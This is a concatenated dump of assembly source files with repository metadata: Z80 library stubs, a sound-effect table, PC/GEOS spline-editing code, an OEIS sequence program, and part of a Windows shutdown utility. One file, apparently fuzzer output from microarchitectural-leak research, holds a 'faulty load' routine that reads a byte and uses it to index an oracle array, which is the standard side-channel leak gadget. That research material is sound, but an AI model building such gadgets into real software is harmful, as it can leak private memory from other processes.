libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc/zx_aaddr2saddr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc/zx_aaddr2saddr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *zx_aaddr2saddr(void *attraddr) SECTION code_clib SECTION code_arch PUBLIC _zx_aaddr2saddr EXTERN asm_zx_aaddr2saddr _zx_aaddr2saddr: pop af pop hl push hl push af jp asm_zx_aaddr2saddr
10.95
38
0.748858
1970089ddd0a596cbf026400e95a95b7f4a0e0b8
209
asm
Assembly
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_12.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_12.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_beepfx/_bfx_12.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; BeepFX sound effect by shiru ; http://shiru.untergrund.net SECTION rodata_clib SECTION rodata_sound_bit PUBLIC _bfx_12 _bfx_12: ; Harsh_beep_1 defb 1 ;tone defw 100,100,1000,0,32896 defb 0
12.294118
30
0.732057
ade8a97eed680ce8ffdbed7b211cd07b17f79736
13,051
asm
Assembly
Library/Spline/Spline/splineMode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Spline/Spline/splineMode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Spline/Spline/splineMode.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: spline FILE: splineMode.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 10/11/91 Initial version. DESCRIPTION: $Id: splineMode.asm,v 1.1 97/04/07 11:09:00 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineUtilCode segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% METHOD: SplineSetMode, MSG_SPLINE_SET_MODE DESCRIPTION: Set the SplineMode PASS: *ds:si - VisSpline object ds:bx - VisSpline object ds:di - VisSpline-class instance data cl - SplineMode RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: Only uselect all points if going into create modes or inactive mode. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineSetMode method dynamic VisSplineClass, MSG_SPLINE_SET_MODE uses ax, cx, dx, bp .enter EC < cmp cl, SplineMode > EC < ERROR_AE ILLEGAL_SPLINE_MODE > ; ; Check for trivial reject ; GetEtypeFromRecord al, SS_MODE, ds:[di].VSI_state cmp al, cl je done ; ; create a gstate, as we'll need to do some drawing ; call SplineCreateGState call SplineMethodCommon ; ; Leave the old mode ; mov bl, al ; original mode clr bh CallTable bx, SplineLeaveModeCalls, SplineMode ; ; Set the new mode ; mov bl, cl SetEtypeInRecord bl, SS_MODE, es:[bp].VSI_state clr bh CallTable bx, SplineSetModeCalls, SplineMode call SplineDestroyGState mov cx, UPDATE_ALL call SplineUpdateUI call SplineEndmCommon done: .leave ret SplineSetMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% METHOD: SplineNotifyCreateModeDone, MSG_SPLINE_NOTIFY_CREATE_MODE_DONE DESCRIPTION: Default handler switches to inactive mode PASS: *ds:si - VisSpline object ds:bx - VisSpline object ds:di - VisSpline-class instance data RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- SRS 11/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineNotifyCreateModeDone method dynamic VisSplineClass, \ MSG_SPLINE_NOTIFY_CREATE_MODE_DONE uses ax, cx .enter mov cl, SM_INACTIVE mov ax, MSG_SPLINE_SET_MODE call ObjCallInstanceNoLock .leave ret SplineNotifyCreateModeDone endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineGetMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Return the mode PASS: *ds:si = VisSplineClass object ds:di = VisSplineClass instance data es = Segment of VisSplineClass. RETURN: cl - SplineMode etype DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/17/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineGetMode method dynamic VisSplineClass, MSG_SPLINE_GET_MODE .enter GetEtypeFromRecord cl, SS_MODE, ds:[di].VSI_state .leave ret SplineGetMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineInactiveMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Go into "inactive" mode where the spline's points aren't drawn and nothing's selected. CALLED BY: SplineSetMode PASS: es:bp - VisSplineInstance data RETURN: nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 9/30/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineInactiveMode proc near class VisSplineClass SetEtypeInRecord AT_SELECT_NOTHING, SES_ACTION, es:[bp].VSI_editState call SplineUnselectAll call SplineEraseInvertModeStuff ret SplineInactiveMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineCreateMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enter one of the create modes CALLED BY: SplineSetMode PASS: es:bp - VisSplineInstance data RETURN: nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 9/30/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineCreateMode proc near class VisSplineClass .enter call SplineUnselectAll call SplineDrawInvertModeStuff push si SplineDerefScratchChunk si ; ; Cause the same scratch chunk to persist all thru create ; mode. We use this chunk for keeping the mouse position ; between events, etc. ; inc ds:[si].SD_refCount mov si, ds:[si].SD_splineChunkHandle push ds:[LMBH_handle] ; save handle for fixup segxchg es, ds call VisGrabMouse segmov es, ds call MemDerefStackDS pop si .leave ret SplineCreateMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineAdvancedEditMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change all anchor points from VERY_SMOOTH to SEMI_SMOOTH. Unselect any selected points. CALLED BY: internal PASS: es:bp - VisSplineInstance data *ds:si - points array RETURN: nothing DESTROYED: ax,bx,cx,di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 4/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineAdvancedEditMode proc near class VisSplineClass .enter EC < call ECSplineInstanceAndPoints > ; ; Set Smoothness to SEMI_SMOOTH for all points ; mov al, SOT_MODIFY_INFO_FLAGS mov bx, mask SWPF_ANCHOR_POINT movHL cx, <ST_SEMI_SMOOTH>, <mask APIF_SMOOTHNESS> call SplineOperateOnAllPoints call SplineEditModeCommon .leave ret SplineAdvancedEditMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineEditModeCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common code for entering one of the edit modes CALLED BY: SplineBeginnerEditMode, SplineAdvancedEditMode PASS: es:bp - vis spline instance *ds:si - points RETURN: nothing DESTROYED: ax,di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/ 2/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineEditModeCommon proc near class VisSplineClass .enter ; ; Increment the scratch chunk ref count so that it persists ; until we leave edit mode ; SplineDerefScratchChunk di inc ds:[di].SD_refCount call SplineDrawInvertModeStuff .leave ret SplineEditModeCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineBeginnerEditMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unselect everything -- make all anchors "auto-smooth" CALLED BY: PASS: *ds:si - points array es:bp - VisSplineInstance data RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineBeginnerEditMode proc near class VisSplineClass uses ax, bx, cx .enter EC < call ECSplineInstanceAndPoints > ; ; Set all anchors to AUTO_SMOOTH ; mov al, SOT_MODIFY_INFO_FLAGS mov bx, mask SWPF_ANCHOR_POINT movHL cx, <ST_AUTO_SMOOTH>, <mask APIF_SMOOTHNESS> call SplineOperateOnAllPoints ; If we're going from ADVANCED_EDIT mode to BEGINNER_EDIT, and ; if AT_SELECT_SEGMENT was the current action type, then ; change to AT_SELECT_ANCHOR GetActionType al cmp al, AT_SELECT_SEGMENT jne ok SetActionType AT_SELECT_ANCHOR ok: ; ; erase whatever was drawn before, and redraw it. The "draw" ; procedure should know what to draw. ; call SplineEraseInvertModeStuff call SplineEditModeCommon .leave ret SplineBeginnerEditMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineLeaveCreateMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Leave the current create mode (beginning or advanced) Let go of the mouse. Lower ref count on scratch chunk. Enter the corresponding EDIT mode. CALLED BY: SplineSSCreateMode, SplineStartMoveCopy PASS: es:bp - VisSplineInstance data *ds:si - points array ds - spline's points block RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 6/27/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineLeaveCreateMode proc near uses si,cx,bx class VisSplineClass .enter EC < call ECSplineInstanceAndPoints > ; ; If we were following the mouse around, then stop that ; nonsense now. ; call SplineDrawFromLastAnchorToMouse ; ; Nuke the action type ; SetActionType AT_NONE ; ; decrement scratch chunk's ref count so it will get destroyed ; properly at the end of this method. ; SplineDerefScratchChunk si dec ds:[si].SD_refCount mov si, ds:[si].SD_splineChunkHandle ; ; Release the mouse grab. ; push ds:[LMBH_handle] segxchg ds, es call VisReleaseMouse segmov es, ds call MemDerefStackDS .leave ret SplineLeaveCreateMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineLeaveBeginnerSplineCreateMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Erase the invert-mode curve drawn on the last anchor's PREV anchor, and draw a "normal" curve there. CALLED BY: SplineSetMode PASS: es:bp - vis spline instance *ds:si - points RETURN: nothing DESTROYED: ax,di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/ 1/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineLeaveBeginnerSplineCreateMode proc near uses bx,cx,dx .enter ; ; Call the common routine ; call SplineLeaveCreateMode call SplineSetInvertModeFar call SplineGotoLastAnchor jc done ; ; Erase IM curve ; movHL bx, <mask SDF_IM_CURVE>, <SOT_ERASE> mov dx, mask SWPF_PREV_ANCHOR call SplineOperateOnCurrentPointFar ; ; Draw normal curve ; call SplineSetNormalAttributes movHL bx, <mask SDF_CURVE>, <SOT_DRAW> call SplineOperateOnCurrentPointFar done: .leave ret SplineLeaveBeginnerSplineCreateMode endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SplineLeaveEditMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Leave one of the edit modes. decrement the scratch chunk's ref count CALLED BY: SplineSetMode PASS: es:bp - vis spline instance *ds:si - points RETURN: nothing DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/ 2/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SplineLeaveEditMode proc near class VisSplineClass .enter ; ; Nuke the action type ; SetActionType AT_NONE ; ; decrement the ref count of the scratch chunk ; SplineDerefScratchChunk di dec ds:[di].SD_refCount .leave ret SplineLeaveEditMode endp StubSUC proc near ret StubSUC endp SplineUtilCode ends SplineSelectCode segment SplineSelectCode ends
19.684766
76
0.568692
98fad0f938af2caf3e199c0c795f1d7b08c8de52
520
asm
Assembly
oeis/119/A119993.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/119/A119993.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/119/A119993.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A119993: a(n) = n-th prime from among those primes which are coprime to n. ; Submitted by Christian Krause ; 2,5,7,11,13,19,19,23,29,37,37,43,43,53,59,59,61,71,71,79,83,89,89,101,101,107,107,113,113,137,131,137,149,151,157,163,163,173,179,181,181,197,193,199,211,223,223,229,229,239,241,251,251,263,269,271,277,281 add $0,1 mov $1,$0 mov $2,1 lpb $0 mov $3,$2 mul $3,5 lpb $3 add $2,1 mov $4,$1 gcd $4,$2 cmp $4,1 cmp $4,0 sub $3,$4 lpe sub $0,1 add $2,1 mul $1,$2 lpe mov $0,$2
21.666667
207
0.611538
a964fa71a7d4ba194b62c47f4891f2412e95cf30
4,057
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_761.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_761.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_761.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x9bb3, %rsi lea addresses_WC_ht+0x35b3, %rdi nop nop nop nop xor %r13, %r13 mov $76, %rcx rep movsb nop dec %rcx pop %rsi pop %rdi pop %rcx pop %r13 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rbp push %rbx push %rcx push %rsi // Faulty Load lea addresses_WC+0xc4b3, %r8 nop nop nop nop and $7569, %rbp mov (%r8), %cx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': True}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
63.390625
2,999
0.664037
dd1493284c0353341666fb9a9b44227f689de6f9
10,377
asm
Assembly
ShutdownActions.asm
adarshraj/shutdowner
ba82c50b1d3803e228aae5bc0cf8a680fced4a97
[ "Xnet", "Info-ZIP", "X11" ]
null
null
null
ShutdownActions.asm
adarshraj/shutdowner
ba82c50b1d3803e228aae5bc0cf8a680fced4a97
[ "Xnet", "Info-ZIP", "X11" ]
1
2016-01-19T12:01:16.000Z
2016-01-19T12:03:27.000Z
ShutdownActions.asm
adarshraj/shutdowner
ba82c50b1d3803e228aae5bc0cf8a680fced4a97
[ "Xnet", "Info-ZIP", "X11" ]
null
null
null
;Main Actions such as Shutdown, Restart, LogOff, Hibernation etc are taking place here.. ;.code DoOperations proc hWnd:HWND LOCAL szRegHandle1 : DWORD LOCAL szRegHandle2 : DWORD LOCAL FORCE : LPSTR LOCAL nFlag : BYTE LOCAL szNoHibernation$ : DWORD LOCAL szNoSuspend$ : DWORD LOCAL szEnableHibernate$ :DWORD LOCAL szInfo$ : DWORD LOCAL lpCmdLine$ : DWORD LOCAL szRedo$ : DWORD sas szNoHibernation$,"System will not Hibernate." sas szNoSuspend$,"System will not Suspend/Sleep. Your system lacks this feature!.." sas szEnableHibernate$, "Hibernate not enabled in your system. Do you want to enable it now" sas szInfo$, "Info" sas lpCmdLine$,"powercfg.exe /HIBERNATE on" sas szRedo$, "Success!. Now do the action once again" MOV FORCE,0 MOV nValue, FALSE ;Checking whether Force option is enabled invoke KeyValueCheck, addr szKeyApplication, addr szForce .if nValue == TRUE MOV nFlag, 1 .elseif nValue == FALSE MOV nFlag,0 .endif invoke EndDialog, DlgHandle2,0 invoke ShowWindowAsync, DlgHandle,SW_HIDE ;Shutdown .IF (dwSelectedOperation==ID_OPERATION_SHUTDOWN) .if nFlag == 1 mov FORCE, EWX_POWEROFF+EWX_FORCE .else mov FORCE, EWX_POWEROFF .endif invoke AdjustPrivilege invoke ExitWindowsEx, FORCE , NULL ;Restart .ELSEIF (dwSelectedOperation==ID_OPERATION_RESTART) .if nFlag == 1 mov FORCE, EWX_REBOOT+EWX_FORCE .else mov FORCE, EWX_REBOOT .endif invoke AdjustPrivilege invoke ExitWindowsEx,FORCE,0 ;StandBy .ELSEIF (dwSelectedOperation==ID_OPERATION_STANDBY) ;Checking system capable of Allowing Suspend state invoke IsPwrSuspendAllowed .IF (EAX == TRUE) .if nFlag == 1 mov FORCE, TRUE .else mov FORCE, FALSE .endif invoke SetSuspendState,FALSE,FORCE,TRUE .ELSE invoke MessageBox,hWnd,szNoSuspend$, ADDR szErrorCaption, MB_OK .ENDIF ;LogOff .ELSEIF (dwSelectedOperation==ID_OPERATION_LOGOFF) .if nFlag == 1 mov FORCE, EWX_LOGOFF+EWX_FORCE .else mov FORCE, EWX_LOGOFF .endif invoke ExitWindowsEx,FORCE,NULL ;Hibernate .ELSEIF (dwSelectedOperation==ID_OPERATION_HIBERNATE) ;Checking whether system can support Hibernation invoke IsPwrHibernateAllowed .IF (EAX == TRUE) .if nFlag == 1 mov FORCE, TRUE .else mov FORCE, FALSE .endif invoke SetSuspendState,TRUE,FORCE,TRUE .ELSE ;Asking for enabling Hibernation invoke MessageBox, hWnd, szEnableHibernate$,szInfo$, MB_OK or MB_ICONQUESTION or MB_YESNO .if eax == IDYES invoke WinExec,lpCmdLine$,SW_HIDE .if eax == ERROR_FILE_NOT_FOUND invoke MessageBox, hWnd, szNoHibernation$, ADDR szErrorCaption, MB_OK or MB_ICONERROR .elseif eax > 31 invoke MessageBox, hWnd, szRedo$,szInfo$, MB_OK+MB_ICONINFORMATION invoke ShowWindow, hWnd,SW_SHOWDEFAULT .else invoke MessageBox, hWnd, szNoHibernation$, ADDR szErrorCaption, MB_OK or MB_ICONERROR .endif .elseif eax == IDNO invoke MessageBox, hWnd, szNoHibernation$, ADDR szErrorCaption, MB_OK or MB_ICONERROR .endif .ENDIF ;Lock System .ELSEIF (dwSelectedOperation==ID_OPERATION_LOCK) invoke LockWorkStation ;Shutdown Monitors .ELSEIF (dwSelectedOperation==ID_OPERATION_SHUTMONITOR) ;TurnOff Monitor. I am offing the monitor in the assumption that mousemove will wake it invoke SendMessage, hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, 2 ; 2 = MONITOR OFF ;Start Screensavers .ELSEIF (dwSelectedOperation==ID_OPERATION_STARTSCREENSAVER) ;invoke SendMessage, hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, NULL ;or invoke ShellExecute,hWnd,addr szOpen,addr szFileName,NULL,NULL,SW_SHOW ;Superfast Shutdown .ELSEIF (dwSelectedOperation==ID_OPERATION_LIGHTSHUTDOWN) invoke AdjustPrivilege invoke NtShutdownSystem,0 ;Superfast Reboot .ELSEIF (dwSelectedOperation==ID_OPERATION_LIGHTRESTART) invoke AdjustPrivilege invoke NtShutdownSystem,1 ;Exit Application .ELSEIF (dwSelectedOperation==ID_OPERATION_EXIT) invoke Shell_NotifyIcon,NIM_DELETE,addr note invoke GetExitCodeThread, hThread0,addr lpExitCode3 invoke TerminateThread,hThread0, lpExitCode3 invoke EndDialog, hWnd,NULL .ENDIF ;Terminate threads invoke GetExitCodeThread, hThread,addr lpExitCode1 invoke TerminateThread,hThread, lpExitCode1 invoke GetExitCodeThread, hThread2,addr lpExitCode2 invoke TerminateThread,hThread2, lpExitCode2 Ret DoOperations EndP ;This code is collected from several web resources and modified as i wanted. Greetz to all the authors ;This code is used to Adjust Privileges in NT system so as to allow Shutdown & Restart AdjustPrivilege PROC LOCAL hProcess :DWORD LOCAL hToken :DWORD 